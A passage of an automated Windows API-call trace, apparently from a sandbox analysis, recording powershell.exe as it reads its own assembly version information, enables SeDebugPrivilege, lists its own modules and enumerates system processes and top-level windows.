nFileSizeLow=0x2df000)) returned 1 [0081.635] SetErrorMode (uMode=0x1) returned 0x1 [0081.730] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xedd40 | out: lpdwHandle=0xedd40) returned 0x94c [0081.740] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2bd72f8 | out: lpData=0x2bd72f8) returned 1 [0081.742] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedcb8, puLen=0xedcb0 | out: lplpBuffer=0xedcb8*=0x2bd7394, puLen=0xedcb0) returned 1 [0081.744] lstrlenW (lpString="䅁") returned 1 [0081.808] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd7470, puLen=0xedc20) returned 1 [0081.808] lstrlenW (lpString="Microsoft Corporation") returned 21 [0081.810] CoTaskMemAlloc (cb=0x2e) returned 0x350540 [0081.811] lstrcpyW (in: lpString1=0x350540, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0081.811] CoTaskMemFree (pv=0x350540) [0081.811] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd74c4, puLen=0xedc20) returned 1 [0081.811] lstrlenW (lpString="System.Management.Automation") returned 28 [0081.811] CoTaskMemAlloc (cb=0x3c) returned 0x34dee0 [0081.812] lstrcpyW (in: lpString1=0x34dee0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0081.812] CoTaskMemFree (pv=0x34dee0) [0081.812] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd7520, puLen=0xedc20) returned 1 [0081.812] lstrlenW (lpString="6.1.7601.17514") returned 14 [0081.812] CoTaskMemAlloc (cb=0x20) returned 0x355dd0 [0081.812] lstrcpyW (in: lpString1=0x355dd0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0081.812] CoTaskMemFree (pv=0x355dd0) [0081.812] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd7560, puLen=0xedc20) returned 1 [0081.812] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0081.812] CoTaskMemAlloc (cb=0x44) returned 0x34dee0 [0081.812] lstrcpyW (in: lpString1=0x34dee0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0081.812] CoTaskMemFree (pv=0x34dee0) [0081.812] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd75c8, puLen=0xedc20) returned 1 [0081.812] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0081.812] CoTaskMemAlloc (cb=0x76) returned 0x2e0a80 [0081.812] lstrcpyW (in: lpString1=0x2e0a80, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0081.812] CoTaskMemFree (pv=0x2e0a80) [0081.812] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd7664, puLen=0xedc20) returned 1 [0081.812] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0081.812] CoTaskMemAlloc (cb=0x44) returned 0x34dee0 [0081.812] lstrcpyW (in: lpString1=0x34dee0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0081.812] CoTaskMemFree (pv=0x34dee0) [0081.812] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd76c8, puLen=0xedc20) returned 1 [0081.812] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0081.813] CoTaskMemAlloc (cb=0x58) returned 0x299580 [0081.813] lstrcpyW (in: lpString1=0x299580, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0081.813] CoTaskMemFree (pv=0x299580) [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd7744, puLen=0xedc20) returned 1 [0081.813] lstrlenW (lpString="6.1.7601.17514") returned 14 [0081.813] CoTaskMemAlloc (cb=0x20) returned 0x355dd0 [0081.813] lstrcpyW (in: lpString1=0x355dd0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0081.813] CoTaskMemFree (pv=0x355dd0) [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x2bd73ec, puLen=0xedc20) returned 1 [0081.813] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0081.813] CoTaskMemAlloc (cb=0x66) returned 0x34c550 [0081.813] lstrcpyW (in: lpString1=0x34c550, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0081.813] CoTaskMemFree (pv=0x34c550) [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x0, puLen=0xedc20) returned 0 [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x0, puLen=0xedc20) returned 0 [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xedc28, puLen=0xedc20 | out: lplpBuffer=0xedc28*=0x0, puLen=0xedc20) returned 0 [0081.813] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedbf8, puLen=0xedbf0 | out: lplpBuffer=0xedbf8*=0x2bd7394, puLen=0xedbf0) returned 1 [0081.815] CoTaskMemAlloc (cb=0x204) returned 0x3072d0 [0081.815] VerLanguageNameW (in: wLang=0x0, szLang=0x3072d0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0081.816] CoTaskMemFree (pv=0x3072d0) [0081.816] VerQueryValueW (in: pBlock=0x2bd72f8, lpSubBlock="\\", lplpBuffer=0xedc48, puLen=0xedc40 | out: lplpBuffer=0xedc48*=0x2bd7320, puLen=0xedc40) returned 1 [0081.849] GetCurrentProcessId () returned 0xb98 [0081.940] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xecb70 | out: lpLuid=0xecb70*(LowPart=0x14, HighPart=0)) returned 1 [0081.942] GetCurrentProcess () returned 0xffffffffffffffff [0081.943] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0xecb90 | out: TokenHandle=0xecb90*=0x2f0) returned 1 [0081.945] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2bdab70*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0081.956] CloseHandle (hObject=0x2f0) returned 1 [0081.961] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0x2f0 [0081.973] EnumProcessModules (in: hProcess=0x2f0, lphModule=0x2bdabd8, cb=0x200, lpcbNeeded=0xedba8 | out: lphModule=0x2bdabd8, lpcbNeeded=0xedba8) returned 1 [0081.976] GetModuleInformation (in: hProcess=0x2f0, hModule=0x13f480000, lpmodinfo=0x2bdae48, cb=0x18 | out: lpmodinfo=0x2bdae48*(lpBaseOfDll=0x13f480000, SizeOfImage=0x77000, EntryPoint=0x13f48c63c)) returned 1 [0081.979] CoTaskMemAlloc (cb=0x804) returned 0x3582a0 [0081.979] GetModuleBaseNameW (in: hProcess=0x2f0, hModule=0x13f480000, lpBaseName=0x3582a0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0081.979] CoTaskMemFree (pv=0x3582a0) [0081.979] CoTaskMemAlloc (cb=0x804) returned 0x3582a0 [0081.979] GetModuleFileNameExW (in: hProcess=0x2f0, hModule=0x13f480000, lpFilename=0x3582a0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0081.980] CoTaskMemFree (pv=0x3582a0) [0081.980] CloseHandle (hObject=0x2f0) returned 1 [0081.989] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb98) returned 0x2f0 [0081.990] GetExitCodeProcess (in: hProcess=0x2f0, lpExitCode=0xedcd8 | out: lpExitCode=0xedcd8*=0x103) returned 1 [0081.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12bdb088, Length=0x20000, ResultLength=0xedca0 | out: SystemInformation=0x12bdb088, ResultLength=0xedca0*=0xe7b8) returned 0x0 [0082.013] EnumWindows (lpEnumFunc=0x2b566ac, lParam=0x0) returned 1 [0082.014] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.014] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x558 [0082.015] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6f8 [0082.015] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.015] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.015] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xb84 [0082.015] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xb10 [0082.016] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.016] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa6c [0082.017] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x8b4 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.017] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x8a4 [0082.017] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x894 [0082.018] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x884 [0082.018] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x874 [0082.018] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x864 [0082.018] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x854 [0082.018] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x844 [0082.018] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x834 [0082.018] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x824 [0082.018] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x804 [0082.018] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x814 [0082.018] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x600 [0082.019] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x424 [0082.019] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x5e8 [0082.019] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x4b4 [0082.019] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x438 [0082.019] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x144 [0082.019] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x648 [0082.019] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x5b8 [0082.019] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x470 [0082.019] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x114 [0082.019] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x7a4 [0082.020] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x768 [0082.020] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x774 [0082.020] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x558 [0082.020] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x4f0 [0082.020] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x558 [0082.020] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x4f0 [0082.020] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x558 [0082.020] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x774 [0082.020] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x774 [0082.020] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x7bc [0082.021] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.021] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x79c [0082.021] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.021] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x758 [0082.022] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.022] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.022] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.022] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.022] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x748 [0082.022] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x638 [0082.022] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.022] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.022] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.022] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x608 [0082.022] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x658 [0082.023] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x72c [0082.023] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.023] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.023] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6ec [0082.023] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x6f8 [0082.023] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xb94 [0082.023] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.023] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0xa30 [0082.023] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x8b4 [0082.023] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x8a4 [0082.024] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x894 [0082.025] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x884 [0082.025] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x874 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x864 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x854 [0082.026] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x844 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x834 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x824 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x804 [0082.026] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x814 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x600 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x424 [0082.026] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x5e8 [0082.027] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x4b4 [0082.027] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x438 [0082.027] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x144 [0082.027] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x648 [0082.027] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x5b8 [0082.027] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x470 [0082.027] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x114 [0082.027] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x7a4 [0082.027] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x768 [0082.027] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x4f0 [0082.027] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x558 [0082.028] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x774 [0082.028] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.028] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x748 [0082.028] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x638 [0082.028] GetWindowThreadProcessId (in: hWnd=0x10048, 